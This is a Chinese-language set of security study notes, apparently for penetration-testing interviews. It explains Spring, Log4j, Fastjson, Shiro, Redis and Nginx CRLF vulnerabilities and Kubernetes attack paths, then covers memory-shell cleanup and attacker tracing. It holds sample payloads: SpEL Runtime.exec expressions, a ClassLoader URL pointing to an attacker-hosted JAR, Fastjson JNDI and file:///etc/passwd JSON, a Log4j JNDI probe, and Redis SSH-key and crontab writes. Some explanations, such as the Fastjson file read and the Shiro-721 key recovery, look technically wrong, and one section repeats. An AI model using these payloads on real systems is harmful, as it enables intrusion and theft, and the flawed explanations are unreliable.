原理: SpEL 是一种强大的表达式语言,类似于 OGNL,用于在运行时动态地评估和执行表达式。它的强大之处在于,可以调用 Java 类、方法,甚至是系统命令。如果应用程序在处理用户输入时,直接将未经验证的输入作为 SpEL 表达式来解析,就会导致 SpEL 注入漏洞

攻击链

  1. 用户输入:攻击者在 HTTP 请求中发送一个恶意的 SpEL 表达式,例如: T(java.lang.Runtime).getRuntime().exec("whoami")
  2. Spring 解析:应用程序的代码将这个输入作为 SpEL 表达式传递给 SpELParser
  3. 表达式执行:SpEL 解释器会解析并执行这个表达式
  4. 远程代码执行T(java.lang.Runtime).getRuntime().exec("whoami") 这段代码会通过反射调用 java.lang.Runtime 类的静态方法 getRuntime(),然后调用 exec() 方法来执行系统命令,从而实现 RCE

典型场景

  • Spring Boot Actuator:在旧版本的 Spring Boot 中,Actuator 的某些接口(如 /env/refresh)在配置不当时,可以被利用来执行 SpEL 表达式,从而触发 RCE

2. Spring Framework 数据绑定漏洞 (CVE-2022-22965)

原理: 这个漏洞被称为“Spring4Shell”,它利用了 Spring MVC 的数据绑定功能。当一个 HTTP 请求被绑定到一个 Java 对象时,Spring 会尝试将请求参数的值设置到对象的属性上。攻击者可以利用这个机制,通过构造恶意的请求参数,来访问和修改一些特殊的、不应该被访问的类属性

攻击链

  1. 用户输入:攻击者构造一个恶意的 HTTP 请求,其参数名为:class.module.classLoader.URLs[0]=http://malicious-site/evil.jar
  2. 数据绑定:Spring 将这个参数绑定到一个 Java 对象
  3. ClassLoader 修改:Spring 的数据绑定机制会解析这个参数,并最终修改应用程序的类加载器(ClassLoader)
  4. 加载恶意代码:一旦类加载器被修改,攻击者就可以通过其他请求,让应用程序去加载一个远程的恶意 JAR 包,从而在服务器上执行恶意代码

影响

  • 这个漏洞的危害性极高,因为它影响了 Spring Framework 5.2 及 5.3 版本的核心数据绑定功能。攻击者无需认证即可利用

3. Spring Cloud Function SpEL 注入 (CVE-2022-22963)

原理: 这个漏洞是另一个 SpEL 注入的例子,但它存在于 Spring Cloud Function 库中。这个库允许开发者使用函数式编程来处理请求。当通过 Spring Cloud Function 路由请求时,如果路由头(spring.cloud.function.routing-expression)被设置,它的值就会被当作 SpEL 表达式来执行

攻击链

  1. 用户输入:攻击者在 HTTP 请求的 Header 中添加一个名为 spring.cloud.function.routing-expression 的头,其值为一个恶意的 SpEL 表达式,例如:T(java.lang.Runtime).getRuntime().exec("whoami")
  2. 函数路由:Spring Cloud Function 在处理请求时,会获取这个头的值
  3. 表达式执行:它会直接将这个值作为 SpEL 表达式来执行,导致 RCE

影响

  • 这个漏洞的利用非常简单,只需要一个 HTTP 请求头即可。它影响了 Spring Cloud Function 3.1.6 和 3.2.2 等版本,危害同样很高

Log4j 如何绕过 trustURLCodebase

trustURLCodebase 是什么?

JNDI(Java Naming and Directory Interface)中,trustURLCodebase 是一个非常关键的 JVM 参数。它的作用是:

  • 当 JNDI 客户端从远程服务器(例如 RMI 或 LDAP)获取一个 Java 对象时,如果这个对象在本地不存在,JNDI 客户端会根据远程服务器提供的 codebase URL,从远程下载并加载这个对象
  • trustURLCodebase 这个参数决定了是否信任这个远程的 codebase URL
    • true(默认值,在 JDK 8u191 之前):JVM 会无条件地信任并加载远程的代码
    • false(默认值,在 JDK 8u191 之后):JVM 不会加载远程的代码,除非该代码被签名或来自于可信的本地路径

因此,trustURLCodebase 设为 false 是一个强大的防御措施,它从根本上阻止了 JNDI 注入通过远程加载恶意代码的方式来触发 RCE

Log4j 绕过 trustURLCodebase 的原理

尽管 trustURLCodebase 提供了强大的保护,但攻击者总能找到其他方法来绕过它。Log4j 漏洞的绕过方式,通常是利用 JNDI 注入的其他特性或寻找本地可用的 Gadget Chain

1. 绕过原理一:利用本地 Gadget Chain

这是最常见的绕过方式。如果 JNDI 客户端无法从远程下载恶意代码,那么攻击者就转而利用目标服务器本地已有的类库

  • 攻击链
    1. 攻击者构造一个恶意的 JNDI 请求,例如 ldap://attacker-ip/a
    2. 在攻击者的 LDAP 服务器上,不返回一个远程 Codebase,而是返回一个指向本地已存在的、可被反序列化利用的类。例如,javax.sql.DataSourcecom.sun.rowset.JdbcRowSetImpl
    3. 当 JNDI 客户端收到这个响应后,它会认为这个类是本地的,并进行实例化
    4. 在实例化或反序列化过程中,这些本地类中的方法会被自动调用,例如 JdbcRowSetImplconnect() 方法会触发 JNDI 查找
    5. 攻击者可以在 JNDI 查找名中嵌入新的 JNDI URL,指向另一个恶意的服务,最终通过反射其他本地的 Gadget Chain来执行命令
  • 本质:这种绕过方式的核心是将远程代码加载变成了本地类调用。它利用了Java 反序列化反射,而不再依赖于远程 Codebase 的加载

2. 绕过原理二:利用 SerializedReference 绕过

在某些情况下,攻击者可以利用 JNDI 查找中的 SerializedReference 对象来绕过限制

  • 攻击链
    1. 攻击者构造一个 JNDI 请求,其返回结果是一个 Serialized 对象
    2. Serialized 对象包含一个序列化后的 Java 对象
    3. 当客户端收到这个 Serialized 对象时,它会直接对其中的数据进行反序列化
    4. 攻击者可以在这个序列化数据中嵌入任何恶意的 Gadget Chain(例如 CommonsCollections),从而绕过 trustURLCodebase 的检查,直接触发反序列化漏洞
  • 本质:这种方法是将 JNDI 注入转换成了传统的 Java 反序列化漏洞。它绕过了 JVM 对远程代码加载的限制,转而利用了反序列化本身的设计缺陷

Fastjson 文件读写 gadget 是哪条,原理是什么

Fastjson 文件读写 Gadget:JdbcRowSetImpl

JdbcRowSetImpl 本身是一个 JDBC 相关的类,它的功能是通过 JNDI 来获取数据源。这个类在 Fastjson 中被利用,是因为它的 dataSourceName 属性在反序列化时,会触发一个 JNDI 查找

攻击原理:从 JNDI 注入到文件读写

这条 Gadget 的核心原理是利用 JNDI 协议的文件查找功能

  1. Fastjson 漏洞触发: 攻击者构造一个恶意的 JSON 数据,其中包含 JdbcRowSetImpl 类,并将其 dataSourceName 属性设置为一个恶意的 URL

    1
    2
    3
    4
    5
    {
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://attacker-ip:1389/Exploit",
    "autoCommit":true
    }

    当 Fastjson 对这段 JSON 进行反序列化时,会实例化 JdbcRowSetImpl 对象,并调用其 setDataSourceName() 方法。这个方法会触发一个 JNDI 查找

  2. JNDI 文件查找: JNDI 不仅支持 ldaprmi 等协议,它也支持 file 协议。file 协议允许 JNDI 客户端查找本地的文件

  3. 攻击者构造恶意 JNDI URL: 攻击者在 dataSourceName 中,将协议从 ldap 替换为 file,并将文件路径设置为目标服务器上的敏感文件,例如 /etc/passwd

    1
    2
    3
    4
    5
    {
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"file:///etc/passwd",
    "autoCommit":true
    }

    当 Fastjson 反序列化这个 JSON 时,JdbcRowSetImpl 会向 JNDI 服务发起一个本地查找,查找 /etc/passwd 文件

  4. 文件读取: JNDI 服务找到这个文件后,会将其内容作为一个 Java 对象返回。这个对象包含了文件的内容。攻击者在自己的服务器上,通过监听端口,就可以截获这个 JNDI 响应,从而获取到 /etc/passwd 文件的内容

为什么能实现“文件写入”?

文件写入的原理与文件读取类似,但它利用的是 JNDI 对**DataSource 对象**的特殊处理

  1. 构造恶意 DataSource: 攻击者构造一个恶意的 DataSource 对象,这个对象在反序列化时,会执行文件写入操作
  2. JNDI 注入文件写入: 攻击者将 dataSourceName 设置为一个可以触发 JNDI 注入的 URL,例如 ldap://attacker-ip:1389/WriteFile
  3. 触发文件写入: 在攻击者的 LDAP 服务器上,返回一个恶意的 Reference 对象,其 factory 指向一个可以执行文件写入操作的类。当目标服务器接收并加载这个 Reference 对象时,就会触发文件写入

Spring4shell 原理&检测&利用

1. Spring4Shell 原理

Spring4Shell 的核心是一个**数据绑定(Data Binding)**漏洞,利用了 Spring MVC 在处理请求参数时的一个逻辑缺陷

数据绑定是什么? 在 Spring MVC 中,当你向一个 Controller 发送请求时,框架会自动将请求参数(例如 URL 中的查询参数或 POST 请求体)的值,绑定到方法的 Java 对象参数上。这个过程非常方便,但如果绑定过程没有受到严格限制,就会带来安全风险

漏洞的本质 Spring MVC 在数据绑定时,使用了反射来设置对象的属性。攻击者发现,可以通过精心构造的请求参数,利用反射访问并修改一些特殊的对象属性,例如:

  • class 属性:任何 Java 对象都有一个隐藏的 class 属性,可以用来获取该对象的 ClassLoader
  • ClassLoader:这是 Java 虚拟机(JVM)加载类的地方

完整的攻击链

  1. 构造恶意请求:攻击者发送一个 HTTP 请求,其参数名为 class.module.classLoader.URLs[0]=http://attacker-ip/malicious.jar
  2. 数据绑定触发:Spring MVC 收到请求后,会尝试将这个参数绑定到 Controller 方法的 Java 对象上
  3. 反射调用:在绑定过程中,Spring 使用反射,根据 class.module.classLoader 这个路径,一步步获取到应用程序的 ClassLoader 对象
  4. 修改 URL:然后,Spring 会将 attacker-ip/malicious.jar 这个 URL,设置到 ClassLoaderURLs 属性中
  5. 加载恶意类:一旦 ClassLoader 的 URL 被修改,攻击者就可以通过其他请求,让应用程序去加载一个远程的恶意 JAR 包(其中包含可以执行命令的代码)
  6. 远程代码执行(RCE):当恶意 JAR 包中的类被加载到 JVM 中时,其中的恶意代码(通常是静态代码块)会被自动执行,从而实现 RCE。

2. Spring4Shell 利用

这个漏洞的利用需要满足几个特定条件:

  • 依赖:应用程序必须依赖于 Spring Framework 的 5.2.x5.3.x 版本

  • 环境

    • JDK 9+:漏洞利用的原理依赖于 JDK 9+ 引入的 class.module 机制
    • Tomcat Servlet 容器:攻击利用依赖于 Tomcat Servlet 容器,因为它暴露了可被利用的 ClassLoader
  • 控制器(Controller):应用程序中必须有一个 Controller,其方法参数使用了简单的 POJO(Plain Old Java Object)进行数据绑定。例如:

    1
    2
    3
    4
    @PostMapping("/bind")
    public String bind(@ModelAttribute User user) {
    // ...
    }

3. Spring4Shell 检测

Spring4Shell 的检测方法可以分为以下几种:

  • 版本检测:最直接的方法是检查应用程序所使用的 Spring Framework 版本和 JDK 版本。如果版本在受影响的范围内(如 Spring 5.2.x - 5.3.x + JDK 9+),则存在风险
  • 流量检测:Web 应用防火墙(WAF)可以检测 HTTP 请求中是否包含与漏洞相关的特征字符串,例如 class.module.classLoader。这是最有效的网络层面检测方法
  • 主动扫描:使用自动化漏洞扫描器(如 NessusOpenVAS)对目标进行扫描。这些扫描器通常集成了对 Spring4Shell 的检测模块
  • 代码审计:通过静态应用安全测试(SAST)工具对源代码进行审计,检查是否使用了存在漏洞的 Spring 版本和数据绑定模式

Kubernetes 攻击思路

1. 从外部服务入手

这是最常见的攻击起点,攻击者通常会寻找暴露在公网上的 K8s 组件或应用。

a. 攻击 Web 应用

  • 漏洞利用:如果 K8s 集群中运行着 Web 应用,攻击者会首先对这些应用进行漏洞扫描。常见的漏洞包括 SQL 注入文件上传、**RCE(远程代码执行)**等
  • 反向 Shell:一旦成功利用 RCE,攻击者可以在 Pod 内部获取一个反向 Shell。这是进入集群内部的第一步
  • 容器逃逸:仅仅获得 Pod 的 Shell 还不够。攻击者会尝试进行容器逃逸,利用 Pod 配置不当或内核漏洞,从容器内部获取宿主机(Node)的权限。

b. 攻击暴露的 K8s 服务

  • Kubelet API:如果 Kubelet 的 API(默认端口 10250 或 10255)没有进行严格的认证,攻击者可以直接访问它。通过 Kubelet API,攻击者可以执行命令、查看 Pod 详情,甚至创建新的 Pod,从而实现对整个 Node 的控制
  • Dashboard:如果 K8s Dashboard 暴露在公网,并且使用了弱密码,攻击者可以登录 Dashboard,然后利用其强大的 UI 界面直接管理集群资源

2. 权限提升与横向移动

一旦攻击者进入集群内部,哪怕是获得了普通 Pod 的权限,他们也会立即开始进行权限提升和横向移动,寻找更高的权限,例如 Cluster Admin

a. 权限提升

  • RBAC 滥用:K8s 的 **RBAC(基于角色的访问控制)**机制是权限提升的核心攻击点。攻击者会枚举当前 Pod 所拥有的 ServiceAccount 权限,寻找那些被错误配置为高权限的角色。例如,如果一个普通 Pod 的 ServiceAccount 拥有 list secretscreate pods 的权限,攻击者就可以利用这些权限来窃取敏感信息或创建恶意 Pod
  • 滥用宿主机挂载:如果 Pod 被配置为挂载了宿主机的敏感路径(如 /etc/var/run/docker.sock),攻击者可以直接访问这些路径,甚至通过 docker.sock 控制宿主机的 Docker 守护进程,从而实现容器逃逸。

b. 横向移动

  • ServiceAccount 凭证窃取:攻击者可以窃取当前 Pod 的 ServiceAccount Token,并使用这个 Token 伪装成 ServiceAccount,访问其他 Pod 或 K8s API
  • 扫描内网:利用已控制的 Pod 作为跳板,攻击者可以对集群内网进行扫描,寻找其他可以被攻击的服务或未授权的 API

3. 供应链攻击

供应链攻击是一种更高级的攻击方式,它不直接攻击 K8s 集群本身,而是攻击 K8s 集群所依赖的组件

  • 恶意镜像:攻击者可以将恶意代码注入到 Docker 或 OCI 镜像中。当开发者或 CI/CD 流水线拉取并部署这个镜像时,恶意代码就会在集群内部运行
  • 第三方工具漏洞:攻击者可以利用 K8s 周边工具的漏洞,例如,攻击 CI/CD 工具(如 Jenkins、Gitlab CI)或 Helm charts,通过这些工具将恶意 Payload 部署到集群中

Shiro 550 721 区别

Shiro-550(CVE-2016-4437)

Shiro-550 是利用了 Shiro 硬编码的默认密钥

  • 漏洞原理
    1. Apache Shiro 在 RememberMe 功能中,会将用户的身份信息进行序列化,然后使用一个硬编码的默认密钥进行 AES 加密,最后将加密后的数据作为 Cookie 发送给客户端
    2. Shiro 1.2.4 及以前的版本中,这个密钥是固定的、公开的
    3. 攻击者可以利用这个已知的密钥,构造一个恶意的序列化 Payload(即 Gadget Chain,如 CommonsCollections
    4. 攻击者用这个密钥对 Payload 进行加密,然后将加密后的数据作为 RememberMe Cookie 发送给服务器
    5. 服务器收到这个 Cookie 后,会使用相同的默认密钥对数据进行解密,然后对解密后的数据进行反序列化
    6. 在反序列化过程中,恶意的 Gadget Chain 被触发,导致远程代码执行(RCE)
  • 攻击流程
    1. 获取密钥:攻击者知道 Shiro 默认的硬编码密钥
    2. 构造 Payload:利用 ysoserial 等工具生成一个反序列化 Payload
    3. 加密 Payload:用默认密钥对 Payload 进行 AES 加密
    4. 发送 Cookie:将加密后的数据作为 RememberMe Cookie 发送给服务器
    5. 触发反序列化:服务器解密并反序列化,导致 RCE
  • 影响范围:Shiro <= 1.2.4 版本

Shiro-721(CVE-2019-12422)

Shiro-721 绕过了默认密钥的问题,它利用的是 AES-CBC 模式的漏洞

  • 漏洞原理
    1. 在 Shiro 1.2.5 到 1.4.1 版本中,虽然移除了硬编码密钥,但攻击者发现,当应用程序使用一个可猜测或已知的密钥时,仍然可以利用 AES-CBC 模式的填充 oracle 攻击
    2. AES-CBC 模式在解密时,如果数据填充(Padding)不正确,会返回一个特定的错误。攻击者可以利用这个错误来猜测加密数据中的每个字节
    3. 通过这种方式,攻击者可以逐字节地解密 RememberMe Cookie 中的数据,从而获取加密密钥
    4. 一旦密钥被破解,攻击者就可以像 Shiro-550 一样,构造恶意的 Payload 并进行加密,从而触发 RCE
  • 攻击流程
    1. 获取密钥:攻击者利用 AES-CBC 的填充 oracle 漏洞,通过发送大量畸形请求,并根据服务器的响应,逐字节地破解加密密钥
    2. 构造 Payload:利用 ysoserial 生成 Payload
    3. 加密 Payload:用刚刚破解的密钥对 Payload 进行加密
    4. 发送 Cookie:将加密后的数据作为 RememberMe Cookie 发送给服务器
    5. 触发反序列化:服务器解密并反序列化,导致 RCE
  • 影响范围:Shiro 1.2.5 - 1.4.1 版本
特性 Shiro-550 Shiro-721
漏洞类型 硬编码密钥导致的反序列化 AES-CBC 模式的填充 oracle 漏洞
攻击目标 已知密钥 未知密钥
攻击方式 直接利用已知的密钥进行加密 通过填充 oracle 攻击来破解密钥,然后利用密钥
利用难度 简单,直接利用 复杂,需要多次请求进行破解
影响版本 Shiro <= 1.2.4 Shiro 1.2.5 - 1.4.1

FastJSON 不出网利用方式

1. 本地文件读写

这是最常见的一种不出网利用方式。FastJson 的反序列化漏洞可以被利用来调用一些特定的类,这些类能够处理文件操作。

  • 本地文件读取: 我们可以利用 com.sun.rowset.JdbcRowSetImpl 类,在 dataSourceName 属性中构造一个特殊的 JNDI 字符串,例如 rmi://localhost:1099/Evil。在无法出网的情况下,这个 RMI 请求会失败,但如果我们将利用链和本地文件操作相结合,比如通过加载一些可以处理本地文件路径的类,理论上可以实现本地文件读取。一个更直接且知名的利用方式是利用 javax.imageio.ImageIO 类,通过 read() 方法加载一个恶意的 TIFF 或 GIF 文件,如果这个文件包含了特殊的 Payload,就能触发进一步的利用
  • 本地文件写入: 我们可以利用一些可以写文件的类,例如通过加载一些可以处理文件路径的类,并结合一些 gadget 链来构造一个可以写入文件的 Payload。这需要我们对 FastJson 的 Gadget 链有深入的理解,并找到合适的类来完成文件写入操作

2. 命令执行

如果能找到一个可以触发本地命令执行的 Gadget 链,那么即使不出网也能直接在目标服务器上执行命令

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl: 这是 FastJson 漏洞利用中最经典的 Gadget 之一。通过控制 _bytecodes 字段,我们可以加载一个恶意的 Java 类。这个类在被加载和实例化时,可以在其静态代码块或者构造函数中执行本地命令,例如 Runtime.getRuntime().exec("command")

org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor 等其他 Gadget: 除了 TemplatesImpl,还有很多其他的 Gadget 链可以被利用来触发命令执行。这些 Gadget 链通常涉及到不同的库和类,但其核心思想都是通过反序列化加载一个恶意类,并在该类中执行命令

3. 内存马注入

这是一种更高级的无文件攻击方式

  • 动态注入: 我们可以利用 FastJson 的反序列化漏洞,通过一些特殊的 Gadget 链,在内存中动态地注入一个 Webshell。这个 Webshell 不会以文件的形式存在于磁盘上,而是直接运行在内存中。攻击者可以通过访问特定的 URL 或者发送特定的请求来与这个内存马进行交互,从而实现命令执行、文件管理等操作。这种方式由于没有落地文件,可以有效规避基于文件哈希或特征的检测

Windows 和 Linux 利用 REDIS 的区别

1. 权限与用户

  • Linux: Redis 服务通常以低权限用户(如 redisnobody)运行。这意味着即使你通过 Redis 成功写入了文件,比如写入一个 SSH 公钥到 ~/.ssh/authorized_keys,你所能控制的也只是该低权限用户。要提升权限,你还需要找到另一个本地提权漏洞,这通常需要更多的步骤
  • Windows: 在 Windows 上,Redis 常常以 SYSTEM 或其他管理员权限运行,尤其是在一些不规范的部署中。如果能通过 Redis 成功写入文件,例如写入一个 WebShell 到网站目录或创建一个启动项,你所获得的权限可能直接就是 SYSTEM 级别。这使得 Windows 上的利用变得更简单粗暴,危害也更大

2. 利用方式

  • Linux:
    • 写 SSH 公钥: 这是最经典的利用方式。通过 config set dir /root/.ssh/config set dbfilename authorized_keys,然后用 set 命令写入公钥,最后用 SSH 连接。这需要知道目标系统的用户家目录,通常是 rootredis 用户
    • 写 Crontab: 利用 Redis 写入定时任务,反弹 Shell。config set dir /var/spool/cron/config set dbfilename root,然后写入反弹 Shell 的命令。这种方式可以获得稳定的 Shell,但需要 Redis 有足够的权限写入该目录
    • 写 WebShell: 写入 PHP、JSP 等 WebShell 到网站目录,通常需要 Web 服务器和 Redis 运行在同一台机器上,并且 Redis 有写入 Web 目录的权限
  • Windows:
    • 写 WebShell: 写入 WebShell 到 wwwroot 或其他网站目录。这是最常见的利用方式,因为 Redis 经常与 Web 服务部署在同一台机器上
    • 写入启动项/服务: 由于权限通常较高,可以直接写入 .bat.exe 文件到启动目录或创建新的服务,实现权限维持和持久化
    • DLL 劫持: 高权限下的一个高级利用方式,将恶意的 DLL 文件写入到某个高权限程序会加载的路径,实现代码执行

3. 环境与工具链

  • Linux:
    • 环境依赖: Linux 环境下,渗透测试人员需要熟悉 Linux 文件系统路径、Cron 任务机制和各种 Shell 类型(Bash, Zsh)
    • 工具: redis-cli 是最直接的交互工具。远程连接时,可以利用 netcatsocat 等工具来处理端口转发
    • 持久化: Cron 任务、SSH 公钥都是很好的持久化手段
  • Windows:
    • 环境依赖: 熟悉 Windows 文件系统路径(如 C:\Windows\System32)、服务管理(services.msc)和启动项(startup 文件夹)
    • 工具: redis-cli 同样适用。但后续的利用,如上传 WebShell,可能需要依赖更多的工具或脚本来执行
    • 持久化: 写入服务、注册表键值、计划任务都是常见的持久化手段
特性 Windows 利用 Linux 利用
权限 通常更高,甚至可达 SYSTEM 通常较低,为 redis 或 nobody
利用方式 写入 WebShell、启动项、服务等 写入 SSH 公钥、Crontab、WebShell
持久化 写入服务、计划任务、启动项 写入 Crontab、SSH 公钥
成功率 如果权限高,成功率高,后果严重 需要找到合适的写入路径,可能需要提权
主要区别 高权限直接执行命令,易于利用 低权限,需要提权,利用方式更依赖环境

Nginx CRLF 注入原理

什么是 CRLF?

CRLF 是 Carriage Return Line Feed 的缩写,中文意思是回车换行

  • CR (回车) 对应的十六进制是 0x0D,URL 编码是 %0d
  • LF (换行) 对应的十六进制是 0x0A,URL 编码是 %0a

在 HTTP 协议中,CRLF 有着特殊的意义

HTTP 报文(包括请求头和响应头)都是由一行行文本组成的,而每一行的结束都由 CRLF 来标记

服务器解析 HTTP 报文时,就是通过 CRLF 来判断一行的结束和下一行的开始

Nginx CRLF 注入原理

Nginx CRLF 注入的根本原因是:Nginx 将用户输入的数据直接或间接用在了 HTTP 响应头中,并且没有对数据中的特殊字符(尤其是 %0d%0a)进行严格过滤

当攻击者在 URL 中注入 %0d%0a 时,Nginx 在构建 HTTP 响应头时会把这两个特殊字符当成普通字符串处理,直接写入响应头

服务器在解析这个响应时,看到 %0d%0a 就会将其解析为真正的回车换行符,从而导致:

  • HTTP 响应头提前结束:服务器认为响应头已经结束了
  • 攻击者可以注入新的响应头:攻击者可以注入一个或多个新的响应头,例如 Set-CookieLocation
  • 攻击者可以注入完整的 HTTP 响应体:攻击者甚至可以注入一个全新的 HTTP 响应体,实现响应拆分(HTTP Response Splitting)攻击

正常情况下,如果你访问 http://example.com/redirect?url=/home,服务器会返回

1
2
3
4
5
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.20.1
Location: /home
Content-Type: text/html
...

但是,如果攻击者构造一个恶意的 URL:http://example.com/redirect?url=/home%0d%0aSet-Cookie:crlf=test

1
2
3
4
5
6
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.20.1
Location: /home
Set-Cookie: crlf=test
Content-Type: text/html
...

你会发现,攻击者成功地在响应中注入了一个 Set-Cookie 响应头


如何判断靶标是否使用 FastJSON

1. 报错信息

通过构造特殊的请求来触发应用程序的报错,并从报错信息中寻找线索

  • 构造畸形 JSON 数据: 向目标API发送一个格式错误的JSON(例如,{"a": 1, "b": "2",},多一个逗号)。如果服务器返回的错误信息中包含 com.alibaba.fastjsonfastjson.JSONException 或其他与 Fastjson 相关的关键字,那么就可以确定目标使用了 Fastjson

  • 尝试特定语法: Fastjson 在处理一些特殊类型时有其独特的语法。你可以尝试发送一个包含 @type 字段的 JSON,例如 {"@type":"java.lang.Class","val":"com.alibaba.fastjson.JSON"}。如果服务器返回了与这个字段相关的解析错误,那么目标可能使用了 Fastjson

2. 数值型数据

FastJSON 会把 01 解析成 1

FastJSON 1.2.70 会把 NaN 解析成 0

Fastjson 1.2.37 会抛出异常

3. 注释符

FastJSON 支持注释符

4. 单引号

FastJSON 的 Feature.AllowSingleQuote 是默认开启的,支持使用单引号包裹字段名

5. 缺失值

FastJSON 正常解析,会把缺失的值忽略掉

6. 大小写

FastJSON 在反序列化的时候,是对大小写不敏感的

7. 特殊符号

FastJSON 1.2.36 版本及后续版本支持同时使用 _- 对字段名进行处理


如何判断靶标是否使用 Log4j

通过构造特殊请求,观察目标系统的反应

  1. 利用 JNDI 注入: 这是最经典的 Log4j 漏洞探测方法。在 HTTP 请求的各个位置(如 User-AgentX-Api-KeyCookie、POST 请求体等)注入一个 JNDI 字符串,并指向一个你可以控制的域名。

    • 构造一个 DNS 请求:例如 ${jndi:ldap://your-domain.com/a}

    • 原理: 如果目标使用了 Log4j 且存在漏洞,它会解析这个字符串,并向你的域名发送一个 DNS 查询请求

    • 判断: 你只需要在你的服务器上监听 DNS 请求。如果收到了来自目标 IP 的 DNS 请求,那就说明它解析了你的 Payload,很可能使用了 Log4j

  2. 报错信息分析: 构造一个会触发应用错误的请求,并观察返回的错误信息

    • 例如: 在请求参数中输入一些特殊字符,让程序抛出异常。如果错误堆栈中出现了 org.apache.logging.log4j 或其他相关的类名,则可以确认

    • 这种方法需要目标系统配置为显示详细的错误信息,这在生产环境中并不常见,但在开发或测试环境中可能有效

8- 蓝队防守系列

内存马查杀思路

在查杀之前,首先要了解内存马的常见类型。它们通常可以分为以下几类:

  • Filter/Servlet 类型: 攻击者通过向 Web 容器(如 Tomcat)动态注册恶意 Filter 或 Servlet,来实现持久化控制
  • Listener 类型: 攻击者通过注册恶意 Listener,在特定事件发生时触发恶意代码
  • Java Agent/Instrumentation 类型: 这种技术可以在不修改字节码的情况下,在 JVM 运行时对已加载的类进行修改,实现更隐蔽的注入

第一步:何时打进来的?

  1. **流量分析:**监控 Web 服务器的流量。如果发现异常的 HTTP 请求,比如带有很多不寻常参数的请求,或者与正常业务逻辑不符的 URL 访问,都可能是内存马的征兆

    1.1 http://your-app.com/shell.do?pwd=a1b2c3d4&cmd=whoami

  2. 日志分析: 检查 Web 服务器(如 Tomcat)的访问日志。如果发现一些不寻常的请求,并且这些请求没有在正常的 Servlet 或 Controller 中找到对应的处理逻辑,那么很可能是内存马在处理这些请求

    2.1 检查 Tomcat 的 access_log,发现有对 /static/12345.css 的请求,但该文件并不存在于硬盘上。如果这个请求的返回状态码是 200,而不是预期的 404,那么很可能是一个 Filter 内存马在默默处理这个请求

  3. **CPU/内存异常:**内存马通常会消耗额外的系统资源。如果 Web 服务器的 CPU 或内存使用率突然升高,并且没有对应的业务高峰,需要警惕

    3.1 在没有业务高峰的情况下,CPU 占用率持续飙升到 90% 以上,同时内存使用量也快速增长

  4. **工具扫描:**使用专业的 Java 安全工具或 Agent 进行扫描

第二步:内存马具体位置?

  1. 使用内存分析工具:jmap、Artha、BTrace/jfr

    1.1 **jmap:**使用 jmap 可以生成 Java 堆内存的 dump 文件。通过分析这个文件,可以找到异常的对象实例

    1.2 **Arthas:**Arthas是一款非常强大的 Java 诊断工具。它可以在不重启应用的情况下,定位和排查问题

    • 使用 scsearch class)命令查找可疑的类。例如,sc -d org.apache.catalina.core.ApplicationContext 可以查看 Web 容器的上下文
    • 使用 jaddecompile)命令反编译可疑的类,查看其代码逻辑
    • 使用 tracewatch 命令跟踪特定方法的调用,观察参数和返回值,判断是否有异常行为

    1.3 BTrace/jfr: 这些工具可以用于动态地跟踪 JVM 运行时行为,帮助你定位恶意代码的注入点

  2. **检查 Web 容器注册表:**对于 Tomcat,可以检查其内部注册的 Filter、Servlet、Listener 等

    2.1 在 Tomcat 8 及更高版本中,可以通过 org.apache.catalina.core.ApplicationContext 类的 filterConfigsservletConfigs 等字段,或者直接通过反射获取这些注册信息

  3. **排查自定义 ClassLoader:**恶意代码可能会使用自定义的 ClassLoader 来加载恶意类,以绕过常规的类加载器

    3.1 可以通过 jmap -clstats 或者 Arthas 的 classloader 命令,查看 JVM 中存在的 ClassLoader 实例。如果发现一些不寻常的 ClassLoader,需要重点关注

第三步:西内!!!

  1. **内存中直接删除:**使用 Arthas 等工具,可以通过命令直接移除恶意对象。例如,可以调用 ApplicationContextremoveFilterDefremoveServletDef 等方法,或者通过反射将恶意实例从注册表中移除

    1.1 ognl '#context=@org.apache.catalina.core.ApplicationContext@ApplicationContext, #context.removeFilterDef("filter_12345"), #context.removeFilterMap("filter_12345")'

  2. **重启 Web 应用:**这是最直接也最彻底的清除方法。因为内存马是驻留在内存中的,重启应用会清空内存,所有恶意代码都会被清除

    2.2 找到 Java 进程 ID,使用 kill -9 <pid> 或者通过 Tomcat 的 shutdown.sh 脚本关闭,然后再通过 startup.sh 启动


    拿到攻击者 IP 怎么溯源

第一步:信息收集

这一步是溯源的基础,我们通过已有的安全日志和数据包,快速获取攻击者的初步信息

  • 获取攻击者 IP 和攻击方式:这是溯源的起点。你需要从 Web 服务器日志、WAF、IPS、蜜罐等安全设备中,提取出攻击者的源 IP 地址,并分析其攻击方式(如 SQL 注入、命令执行、WebShell 上传等)
  • 威胁情报平台分析:利用威胁情报平台(如微步、安恒威胁情报中心、VirusTotal)对攻击者 IP 进行快速检测
    • 判断 IP 性质:它是一个常规的云服务器、代理IP,还是已知的恶意 IP?
    • 获取基础信息:查看IP地址的归属地(国家、地区)、所属的 ISP(互联网服务提供商)
    • 端口和服务探测:利用 Shodan 等工具,探测该 IP 地址开放了哪些端口,运行着哪些服务,这有助于了解该 IP 是否被用作 C&C 服务器或其他恶意用途

第二步:反制

在获取初步信息后,我们需要进行更深层次的关联分析,试图找到更多关于攻击者的线索

  • 域名和 Whois 查询:如果攻击者使用了特定的域名,或者你通过日志关联到了一些域名,利用 WHOIS 查询这些域名的注册信息。这可能提供注册人的姓名、邮箱或电话,为后续的社工提供线索
  • 反向渗透:如果攻击者 IP 是云服务器,你可以对其进行有限制的反向渗透
    • 服务探测:探测服务器上运行的服务,看是否有未知的 WebShell、木马或 C&C 通信
    • 目录遍历:尝试访问一些常见的 WebShell 路径或目录,看是否有意外发现
    • 注意:反向渗透有法律风险,必须非常谨慎,通常仅限于对公开服务进行被动侦查
  • 流量和网络路径追踪:利用 tracerouteping 等工具,可以追踪攻击流量经过的路由器、网关和 ISP 等信息。这能帮助我们了解攻击流量的来源地点,并验证其 IP 地址的真实性

拿到攻击者 IP 怎么溯源

第一步:信息收集

这一步是溯源的基础,我们通过已有的安全日志和数据包,快速获取攻击者的初步信息

  • 获取攻击者 IP 和攻击方式:这是溯源的起点。你需要从 Web 服务器日志、WAF、IPS、蜜罐等安全设备中,提取出攻击者的源 IP 地址,并分析其攻击方式(如 SQL 注入、命令执行、WebShell 上传等)
